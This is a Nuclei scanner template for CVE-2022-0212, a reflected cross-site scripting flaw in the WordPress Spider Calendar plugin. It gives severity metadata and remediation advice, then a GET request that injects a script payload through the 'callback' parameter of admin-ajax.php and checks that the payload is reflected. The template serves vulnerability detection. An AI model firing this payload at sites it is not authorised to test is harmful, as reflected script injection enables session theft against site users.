id: CVE-2022-0212

info:
  name: WordPress Spider Calendar <=1.5.65 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WorsPress Spider Calendar plugin through 1.5.65 is susceptible to cross-site scripting. The plugin does not sanitize and escape the callback parameter before outputting it back in the page via the window AJAX action, available to both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of WordPress Spider Calendar plugin (>=1.5.66) or apply the vendor-supplied patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/15be2d2b-baa3-4845-82cf-3c351c695b47
    - https://wordpress.org/plugins/spider-event-calendar/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0212
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0212
    cwe-id: CWE-79
    epss-score: 0.01167
    epss-percentile: 0.78907
    cpe: cpe:2.3:a:10web:spidercalendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: 10web
    product: spidercalendar
    framework: wordpress
  tags: cve2022,cve,xss,wpscan,wordpress,wp-plugin,wp,spider-event-calendar,unauthenticated,10web,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=window&callback=</script><img/src/onerror=alert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "spider_Calendar_theme"
          - "</script><img/src/onerror=alert(document.domain)>"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e99a67cbbfed4dcd6783762629aa117611a0f4c90e4456dcaa53efe3f492772002205350f4551d8d8014eb949b2805046d5ea997eda2eb26bc4ddb7aa3d2cd65af50:922c64590222798bb761d5b6d8e72950